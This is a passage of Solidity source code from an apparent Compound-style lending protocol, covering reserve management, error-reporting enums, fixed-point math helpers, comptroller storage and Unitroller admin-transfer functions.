_addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view virtual returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal virtual returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal virtual; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; abstract contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external virtual returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } contract ComptrollerV4Storage is ComptrollerV3Storage { // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; // address of comp token address public comp; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an 